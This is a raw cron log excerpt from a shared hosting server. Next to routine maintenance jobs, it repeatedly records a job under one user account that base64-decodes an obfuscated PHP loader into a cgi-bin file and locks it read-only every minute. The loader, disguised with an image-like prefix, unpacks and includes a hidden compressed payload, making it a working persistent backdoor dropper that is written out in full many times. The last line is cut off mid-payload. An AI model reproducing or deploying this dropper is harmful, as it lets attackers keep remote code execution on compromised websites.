Sep  5 14:59:01 server CROND[12923]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:00:01 server CROND[13322]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  5 15:00:01 server CROND[13323]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 15:00:01 server CROND[13324]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 15:00:01 server CROND[13328]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 15:00:01 server CROND[13327]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 15:00:01 server CROND[13330]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:00:01 server CROND[13325]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 15:00:01 server CROND[13326]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:00:01 server CROND[13332]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 15:01:01 server CROND[14188]: (root) CMD (run-parts /etc/cron.hourly)
Sep  5 15:01:01 server CROND[14189]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 15:01:01 server CROND[14190]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:01:01 server CROND[14191]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:01:01 server run-parts(/etc/cron.hourly)[14188]: starting 0anacron
Sep  5 15:01:01 server run-parts(/etc/cron.hourly)[14209]: finished 0anacron
Sep  5 15:02:01 server CROND[14581]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:02:01 server CROND[14582]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:02:01 server CROND[14583]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 15:03:01 server CROND[15041]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:03:01 server CROND[15042]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:03:01 server CROND[15040]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 15:04:01 server CROND[15405]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 15:04:01 server CROND[15406]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:04:01 server CROND[15407]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:05:01 server CROND[15782]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 15:05:01 server CROND[15784]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:05:01 server CROND[15785]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 15:05:01 server CROND[15787]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:05:01 server CROND[15790]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 15:05:01 server CROND[15786]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 15:05:01 server CROND[15789]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 15:05:01 server CROND[15791]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 15:06:01 server CROND[16692]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:06:01 server CROND[16693]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 15:06:01 server CROND[16694]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:07:01 server CROND[17063]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 15:07:01 server CROND[17064]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:07:01 server CROND[17065]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:08:01 server CROND[17441]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 15:08:01 server CROND[17442]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:08:01 server CROND[17443]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:09:01 server CROND[17940]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 15:09:01 server CROND[17942]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 15:09:01 server CROND[17941]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:09:01 server CROND[17943]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:10:01 server CROND[18318]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 15:10:01 server CROND[18324]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 15:10:01 server CROND[18323]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 15:10:01 server CROND[18327]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:10:01 server CROND[18325]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 15:10:01 server CROND[18329]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 15:10:01 server CROND[18326]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 15:10:01 server CROND[18328]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1